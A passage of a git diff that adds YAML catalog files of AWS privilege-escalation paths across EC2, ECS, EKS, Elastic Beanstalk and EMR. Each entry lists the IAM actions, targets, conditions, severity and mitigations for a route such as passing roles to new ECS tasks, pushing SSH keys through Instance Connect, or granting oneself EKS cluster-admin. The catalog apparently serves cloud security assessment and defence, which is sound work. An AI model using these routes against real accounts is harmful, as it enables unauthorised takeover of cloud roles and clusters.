"{target.consumer_input_arn} resolves only to a collected launch template referenced by an Auto Scaling group with available capacity. The evaluator checks CreateLaunchTemplateVersion on that exact ARN and also ModifyLaunchTemplate on the same ARN for $Default. Mixed-instance overrides are joined to their own template. Later launch and user-data execution remain conditional." + +- id: aws-ec2-autoscaling-create-update-asg-passrole + provider: aws + service: ec2 + title: Launch an Auto Scaling instance with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#autoscalingcreatelaunchconfiguration--ec2createlaunchtemplate--iampassrole-autoscalingcreateautoscalinggroup--autoscalingupdateautoscalinggroup + source_revision: 171e422299 + summary: A caller can configure an Auto Scaling group to launch an instance using a passable instance-profile role, then run controlled code under that role when the launch and code execution are observed. + requires: + all_of: + - action: iam:PassRole + any_of: + - - action: autoscaling:CreateAutoScalingGroup + - - action: autoscaling:UpdateAutoScalingGroup + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + preconditions: + - autoscaling_created_launch_input_role_effect_reviewed + conditions: + - id: exact_launch_and_role_effect + description: Fresh reviewed evidence must join a controlled launch configuration or template, the Auto Scaling group that accepted it, the launched instance and a useful action executed under the exact instance role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit who can pass EC2 instance roles and choose launch inputs for Auto Scaling groups; pin launch-template versions where possible. + references: + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/launch-configurations.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_autoscaling.html + notes: CreateLaunchConfiguration and CreateLaunchTemplate are checked on the exact created ARN, and CreateAutoScalingGroup or UpdateAutoScalingGroup on the exact group ARN. The template branch also checks every recorded RunInstances authorization resource. The role pass is checked for ec2.amazonaws.com. A witnessed instance, applied profile, executed user data and useful role action are required. AWS no longer permits new launch configurations in accounts created on or after October 1, 2024; an accepted creation witness decides that branch. + +- id: aws-ec2-instance-connect-sendsshpublickey + provider: aws + service: ec2 + title: Push a temporary SSH key to an instance with EC2 Instance Connect + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2-instance-connectsendsshpublickey + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of an instance it can push an SSH key to and reach over the network. + requires: + all_of: + - action: ec2-instance-connect:SendSSHPublicKey + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: ec2 + attached_resource_covered_by: ec2-instance-connect:SendSSHPublicKey + scope: same_account + aggregate_as: "Instance roles of instances covered by ec2-instance-connect:SendSSHPublicKey in {account}" + preconditions: + - ec2_instance_connect_same_running_role_host + conditions: + - id: network_reachability + description: The source needs SSH network access (public IP, VPN, or an EC2 Instance Connect Endpoint with ec2-instance-connect:OpenTunnel). + - id: agent_installed + description: The instance must run the EC2 Instance Connect agent (Amazon Linux 2+/Ubuntu images include it). + - id: os_user_condition + description: The ec2:osuser condition may restrict which OS user can be used. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ec2-instance-connect:SendSSHPublicKey by instance and ec2:osuser; prefer SSM Session Manager with logging. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ec2-instance-connect.html + notes: The permission, running state, Linux platform and enabled applied instance metadata must belong to the same instance carrying the target role. A concrete conditional edge additionally needs fresh reviewed evidence that the pushed key was accepted, an SSH session used it as an IAM-allowed OS user, and that session could use credentials whose role ID matches the target. Without that witness, host access and role-credential use remain unresolved. + +- id: aws-ec2-passrole-requestspotfleet + provider: aws + service: ec2 + title: Create a Spot Fleet with a passable EC2 instance-profile role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#spot-fleet-request + source_revision: b587e6bd26 + summary: A caller can request a Spot Fleet with a separate fleet role and a passable instance-profile role, then run controlled code under the instance role if a matching instance actually launches. + requires: + all_of: + - action: iam:PassRole + - action: ec2:RequestSpotFleet + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: EC2 instance-profile roles passable to Spot Fleet in {account} + outcome: workload_execution + preconditions: + - ec2_spot_fleet_instance_role_effect_reviewed + conditions: + - id: exact_fleet_launch_role_effect + description: Fresh reviewed evidence must bind a successful fleet request, both exact passed roles, all launch authorization resources, a member instance using the profile, and a useful action executed under the instance role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ec2:RequestSpotFleet and iam:PassRole to approved instance profiles and fleet service roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-prerequisites.html + notes: The evaluator checks PassRole on both the fleet role and the instance role with their respective service contexts. It checks RequestSpotFleet and RunInstances on each recorded authorization resource, then requires a witnessed fleet member instance, applied instance profile and useful role action. Missing launch-resource lists, fleet-role identity, capacity or execution evidence remain unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecr.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecr.yaml new file mode 100644 index 0000000000..3fae8341a8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecr.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ECR / ECR Public privilege escalation techniques (image supply-chain into workload roles). +# Source: hacktricks-cloud aws-ecr-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml new file mode 100644 index 0000000000..1f29eec5d6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml @@ -0,0 +1,326 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ECS privilege escalation techniques. +# Source: hacktricks-cloud aws-ecs-privesc/README.md. + +- id: aws-ecs-eventbridge-scheduled-task-role + provider: aws + service: ecs + title: Schedule a controlled ECS task under its task role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge + source_revision: b587e6bd26 + summary: The source can register a task definition with controlled code and use a scheduled EventBridge rule to start it under a stronger task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: ECS task roles reachable through a new scheduled EventBridge rule in {account} + outcome: workload_execution + preconditions: + - ecs_new_task_definition_eventbridge_schedule_ready + conditions: + - id: scheduled_task_execution + description: The controlled task image must be runnable and the enabled rule must trigger a task on a compatible connected instance. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ECS task-definition registration, EventBridge rule targets and PassRole on invocation and task roles to trusted deployment principals. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/CWE_IAM_role.html + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutTargets.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: The evaluator binds one new task-definition family, one free scheduled default-bus rule, an active connected EC2 cluster and a recorded EventBridge invocation role. The source must pass the task role to ECS and the invocation role to EventBridge; that invocation role must trust events.amazonaws.com and be allowed to RunTask and pass the task role. A role-less task definition cannot satisfy this route. Task image pull and actual execution remain conditional. + +- id: aws-ecs-executecommand + provider: aws + service: ecs + title: Open a running task container with ECS Exec and its task role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsexecutecommand-ecsdescribetasks-and-optionally-a-task-launching-action + source_revision: 171e422299 + summary: The source can run commands in an exact live task container whose running Exec agent and task role are recorded. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: ecs:ExecuteCommand + resource: "*" + target: + kind: aws_role + selector: + any_principal_in_scope: true + scope: same_account + outcome: impersonation + aggregate_as: "Task roles in live ECS containers reachable by Exec in {account}" + preconditions: + - ecs_exec_live_task_role + conditions: + - id: live_task_and_agent + description: The task and its ExecuteCommandAgent must remain running when the session opens. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ExecuteCommand to approved operators on exact clusters and tasks, and keep task roles narrow. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-exec-run.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: The role is joined from the same running task; this route needs no new PassRole grant. + +- id: aws-ecs-passrole-registertaskdefinition-runtask + provider: aws + service: ecs + title: Register a task definition with a passed task role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsruntask + source_revision: 171e422299 + summary: The source can run a container image it controls with a passable ECS task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: cluster_and_network + description: A cluster with Fargate or EC2 capacity and (for awsvpc) a subnet is required; ecs:RunTask Resource is the task-definition ARN with an ecs:cluster condition. + preconditions: + - ecs_new_task_definition_runtask_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles with iam:PassedToService and specific role ARNs. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html + notes: A conditional EC2 route needs a new task-definition family and revision covered by scoped RegisterTaskDefinition and RunTask grants, an active same-Region cluster with an active connected container instance, and PassRole for the target task role. Fargate and network-dependent launches remain unresolved until their launch facts are collected; image pull and placement are conditional. + +- id: aws-ecs-passrole-runtask-overrides + provider: aws + service: ecs + title: Run an existing task definition with overridden task role and command + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsruntask + source_revision: 171e422299 + summary: The source can run an existing ECS task definition with command and task-role overrides when that task can execute. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: ecs:RunTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: existing_task_definition + description: At least one existing task definition covered by ecs:RunTask must exist. + - id: execution_role_passrole + description: On Fargate the PassRole check also covers the task definition's executionRoleArn, so iam:PassRole must cover that execution role too (the same passable role can be used for both when it can pull the image). + preconditions: + - ecs_existing_task_override_runnable_with_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles and ecs:RunTask to specific task definitions. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_TaskOverride.html + notes: The "Runtime command overrides" section of the same page is the same edge. The evaluator binds RunTask to an active, described EC2-compatible task definition and active cluster with registered capacity, and checks a separate execution role if present; image pull and command execution remain conditional. + +- id: aws-ecs-passrole-registertaskdefinition-starttask + provider: aws + service: ecs + title: Register a task definition with a passed task role and start it on a container instance + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsstarttask + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by starting a container it controls with that role on an existing container instance. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: container_instance_exists + description: An active connected EC2 container instance must exist in the same-Region cluster and be covered by ecs:StartTask conditions. + preconditions: + - ecs_new_task_definition_starttask_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_StartTask.html + notes: Registration and StartTask must cover every revision of one new task-definition family. The evaluator checks the ecs:cluster and ecs:container-instances conditions for the same active connected host and PassRole for the target task role. Image pull and placement remain conditional. + +- id: aws-ecs-passrole-registertaskdefinition-service + provider: aws + service: ecs + title: Register a task definition with a passed task role and deploy it as a service + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsupdateserviceecscreateservice + source_revision: 171e422299 + summary: The source can start an ECS service using a task definition and container image it controls with a passable task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: update_needs_existing_service + description: UpdateService needs an active existing service in the same cluster; CreateService needs an unused service name. + preconditions: + - ecs_new_task_definition_service_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ECS task roles and service deployment actions. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateService.html + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_UpdateService.html + notes: Registration must cover every revision of one new task-definition family. CreateService is checked on a new service ARN; UpdateService is checked on an existing active EC2 service without network, load balancer, or discovery settings in an active same-Region cluster with a connected container instance. Both requests bind ecs:cluster and ecs:task-definition to the same resources; other service configurations, image pull, and placement remain conditional or unresolved. + +- id: aws-ecs-registertaskdefinition-node-escape + provider: aws + service: ecs + title: Run a privileged container without a task role on EC2 capacity to reach node and co-located task roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-and-a-task-launching-action + source_revision: 171e422299 + summary: The source can obtain the privileges of the container-instance role and of task roles of tasks co-located on EC2 container instances by running a privileged/host-mounted container it controls. + # The native precondition checks registration on the generated task-definition family. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + any_principal_in_scope: true + scope: same_account + aggregate_as: "ECS container-instance roles and co-located task roles in clusters covered by the launch action in {account}" + conditions: + - id: ec2_capacity + description: Only EC2-launch-type capacity is affected; Fargate does not allow privileged containers or host access. + - id: co_located_tasks + description: Other task roles are only reachable for tasks placed on the same instance. + preconditions: + - ecs_privileged_task_exact_host_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Use Fargate for sensitive workloads, block privileged/host-network containers, and restrict task-definition registration. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters_ec2.html + notes: A concrete conditional edge requires a privileged task definition and StartTask on the exact active connected Linux EC2 container instance carrying the node role or a running target-role task. RunTask and simple CreateService or UpdateService also qualify when that is the cluster's only registered connected instance. Multi-host placement, image pull, and credential access remain unresolved or conditional. + +- id: aws-ecs-taskset-primary + provider: aws + service: ecs + title: Create a primary task set with a controlled container on an EXTERNAL-controller service + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-ecscreatetaskset-ecsupdateserviceprimarytaskset-ecsdescribetasksets + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by deploying a task set it controls to a service with the EXTERNAL deployment controller. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: external_controller_service + description: A service using the EXTERNAL deployment controller must exist in a covered cluster. + preconditions: + - ecs_external_service_taskset_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on ECS task roles and task-set actions. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_CreateTaskSet.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: A conditional route requires an active EXTERNAL service with a simple EC2 configuration and a connected container instance. RegisterTaskDefinition must cover every revision of one new family; CreateTaskSet must cover any ECS-generated task-set ID on that service, and UpdateServicePrimaryTaskSet must cover that same service. Image pull and placement remain conditional. + +- id: aws-ecs-ecscape-agent-impersonation + provider: aws + service: ecs + title: Impersonate the ECS agent to obtain credentials of co-located tasks (ECScape) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/aws-ecscape-privesc.md#impersonate-the-ecs-agent-to-obtain-co-located-task-credentials + source_revision: 171e422299 + summary: A source holding the ECS container-instance role can obtain the task and task-execution roles of other tasks running on the same EC2 container instance. + requires: + all_of: + - action: ecs:DiscoverPollEndpoint + resource: "*" + - action: ecs:Poll + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + ecs_task_colocated_with_source_container_instance: "{source.arn}" + scope: same_account + aggregate_as: "ECS task and execution roles co-located with the source's container instances in {account}" + conditions: + - id: colocated_task + description: The target task must run on the same EC2 container instance whose instance-role credentials the source holds (typically obtained by a task reaching IMDS). + - id: execution_roles_exposed + description: Task execution roles of co-located tasks are delivered by the same channel and are also reachable. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Run sensitive tasks on Fargate or on dedicated hosts separated by privilege, block task access to IMDS (ECS_AWSVPC_BLOCK_IMDS or hop limit 1), and keep the container-instance role minimal. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/security-iam-roles.html + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html + notes: Sources are restricted to EC2 container-instance roles (instance profile, trusting ec2.amazonaws.com). Targets are task or execution roles of EC2/EXTERNAL tasks in the same account, including task-level role overrides. Co-location is proven only with ECS container-instance and task placement inventory (ec2InstanceId of the source's instances, containerInstanceArn of the target's tasks); without it the target is unresolved, never a definite edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/eks.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/eks.yaml new file mode 100644 index 0000000000..fb82be050f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/eks.yaml @@ -0,0 +1,154 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EKS privilege escalation techniques (AWS-API side: access entries, Pod Identity, node groups). +# Source: hacktricks-cloud aws-eks-privesc/README.md (rev 171e422299). +# k8s_cluster_admin targets are the collected EKS clusters of the source's own account (eks_cluster: describe_cluster +# arn + accessConfig.authenticationMode), labelled "EKS cluster (cluster-admin)". The access-entry APIs need +# authenticationMode API or API_AND_CONFIG_MAP (eks_authentication_mode); a cluster whose mode was not collected is an +# unresolved placeholder. With a K8s snapshot of the cluster passed as related_snapshots the entity links to the +# cluster's K8s cluster-admin node. Pod Identity / node-group entries need an existing cluster (eks_cluster_exists). + +- id: aws-eks-createaccessentry-associateaccesspolicy + provider: aws + service: eks + title: Create an EKS access entry for the source and associate a cluster-admin access policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreateaccessentry-eksassociateaccesspolicy--iam-only-path-to-cluster-admin + source_revision: 6fb9ac51fd + summary: The source can become Kubernetes cluster-admin of an EKS cluster using only EKS API permissions, by mapping + a principal it controls into the cluster and associating AmazonEKSClusterAdminPolicy with cluster scope. + requires: + all_of: + - action: eks:CreateAccessEntry + resource: '{target.scope}' + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - API + - API_AND_CONFIG_MAP + scope: cluster + aggregate_as: Cluster-admin of EKS clusters whose access entries the source can create + preconditions: + - eks_new_self_access_entry_can_receive_cluster_admin + conditions: + - id: authentication_mode_api + description: The cluster authenticationMode must be API or API_AND_CONFIG_MAP (checked by eks_authentication_mode); + with CONFIG_MAP only, the access-entry APIs are unavailable (switching mode needs eks:UpdateClusterConfig + and is one-way). + - id: source_controls_mapped_principal + description: The access entry must name an IAM principal the source can authenticate as (normally itself). + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint (public endpoint CIDR allowlist or private VPC + access). + - id: associate_policy_resource_scope + description: eks:AssociateAccessPolicy is authorized on the access-entry ARN; eks:policyArn / eks:accessScope + condition keys can restrict which access policy and scope may be associated. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Treat eks:CreateAccessEntry and eks:AssociateAccessPolicy as cluster-admin grants; restrict them to + platform administrators and use the eks:policyArn / eks:accessScope condition keys to forbid AmazonEKSClusterAdminPolicy. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + - https://docs.aws.amazon.com/eks/latest/userguide/setting-up-access-entries.html + - https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_AssociateAccessPolicy.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html + notes: The cluster creator's bootstrap admin entry is not required; access entries work on clusters created before + the feature once the authentication mode allows it. An existing-entry AssociateAccessPolicy path is covered + separately by aws-eks-associateaccesspolicy-existing-entry. A CONFIG_MAP cluster can enable access entries through + aws-eks-updateclusterconfig-enable-access-entries. + + +- id: aws-eks-updateclusterconfig-enable-access-entries + provider: aws + service: eks + title: Switch a CONFIG_MAP EKS cluster to access-entry authentication and grant the source cluster-admin + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#associate-a-cluster-admin-access-policy-with-an-existing-eks-access-entry-the-source-controls + source_revision: b587e6bd26 + summary: The source can become Kubernetes cluster-admin of an EKS cluster that only uses the aws-auth ConfigMap by enabling access-entry authentication and then creating an access entry with AmazonEKSClusterAdminPolicy for itself. + requires: + all_of: + - action: eks:UpdateClusterConfig + resource: "{target.scope}" + request_context: + eks:authenticationMode: API_AND_CONFIG_MAP + - action: eks:CreateAccessEntry + resource: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - CONFIG_MAP + scope: cluster + aggregate_as: "Cluster-admin of CONFIG_MAP EKS clusters whose authentication mode the source can change" + outcome: permission_grant + preconditions: + - eks_new_self_access_entry_can_receive_cluster_admin + conditions: + - id: eligible_cluster_platform + description: The cluster must be ACTIVE and its Kubernetes and EKS platform versions must support access entries. + - id: mode_change_propagates + description: The authentication mode change to API_AND_CONFIG_MAP is one-way and must complete before access entries can be created. + - id: associate_policy_condition_keys + description: eks:policyArn and eks:accessScope condition keys can restrict which access policy and scope may be associated. + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint (public endpoint CIDR allowlist or private VPC access). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict eks:UpdateClusterConfig to platform administrators, migrate clusters to API authentication deliberately and alert on authenticationMode changes. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/setting-up-access-entries.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_UpdateClusterConfig.html + notes: The existing exclusion of eks:UpdateClusterConfig on the privesc page covers only endpoint exposure; this entry models the authentication-mode change that unlocks the access-entry APIs. + +- id: aws-eks-associateaccesspolicy-existing-entry + provider: aws + service: eks + title: Give the source's existing EKS access entry cluster administrator access + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#associate-a-cluster-admin-access-policy-with-an-existing-eks-access-entry-the-source-controls + source_revision: b587e6bd26 + summary: The source can associate AmazonEKSClusterAdminPolicy at cluster scope with its own existing STANDARD access entry. + requires: + all_of: + - action: eks:AssociateAccessPolicy + resource: "*" + request_context: + eks:policyArn: arn:{source.partition}:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy + eks:accessScope: cluster + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + eks_authentication_mode: + - API + - API_AND_CONFIG_MAP + scope: cluster + aggregate_as: Cluster-admin of EKS clusters with a controlled access entry + outcome: permission_grant + preconditions: + - eks_existing_self_access_entry_can_receive_cluster_admin + conditions: + - id: api_endpoint_reachable + description: The source must reach the Kubernetes API endpoint to use the granted cluster privileges. + - id: access_entry_identity_current + description: An entry for a deleted and recreated IAM principal has a stale internal identity even when its ARN still matches. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict AssociateAccessPolicy on access entries and use eks:policyArn and eks:accessScope conditions to limit administrator grants. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_eks.html + - https://docs.aws.amazon.com/eks/latest/APIReference/API_AccessEntry.html + notes: The evaluator joins a recorded STANDARD entry to the source's exact IAM principal, uses its accessEntryArn for authorization, and ignores an entry that already has cluster-wide AmazonEKSClusterAdminPolicy. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml new file mode 100644 index 0000000000..e36816b7c7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/elasticbeanstalk.yaml @@ -0,0 +1,45 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Elastic Beanstalk privilege escalation techniques. +# Source: hacktricks-cloud aws-elastic-beanstalk-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). +# Environment role execution requires a bound application version, environment, +# instance profile and actual code execution; IAM grants alone cannot prove it. + +- id: aws-elasticbeanstalk-passrole-create-environment + provider: aws + service: elasticbeanstalk + source_kind: [aws_user, aws_role] + title: Create a Beanstalk application and environment with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplication-elasticbeanstalkcreateenvironment-elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-iampassrole-and-more + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable EC2-trusting role with an instance profile, used as the instance profile of a new Beanstalk environment or of an existing one it updates. + requires: + any_of: + - - action: elasticbeanstalk:CreateEnvironment + - - action: elasticbeanstalk:UpdateEnvironment + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: EC2 instance-profile roles passable in {account} + outcome: workload_execution + preconditions: + - elasticbeanstalk_environment_role_effect_reviewed + conditions: + - id: exact_environment_role_effect + description: Fresh reviewed evidence must bind the exact application version, environment, instance profile, launched instance and useful role action performed by controlled code. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on instance-profile roles and grant Beanstalk environment-creation rights only to deployment principals. + references: + - https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess-AWSElasticBeanstalk.html + notes: CreateEnvironment and UpdateEnvironment authorize the exact environment; CreateApplicationVersion authorizes the application and version. A source-controlled S3 bundle must deploy to the same environment, and a launched instance must execute it with the passed role. The service role and any required underlying resource permissions must actually support the operation; an accepted deployment witness establishes this. The PassRole service and associated resource context must be recorded and evaluated. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml new file mode 100644 index 0000000000..0fa511cba0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/emr.yaml @@ -0,0 +1,150 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon EMR privilege escalation techniques. +# Source: hacktricks-cloud aws-emr-privesc/README.md (rev a53b46392c; GetClusterSessionCredentials at 171e422299). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-emr-addjobflowsteps + provider: aws + service: emr + title: Run a step on an existing EMR cluster with its instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile + source_revision: 171e422299 + summary: A principal allowed to add a command step to an 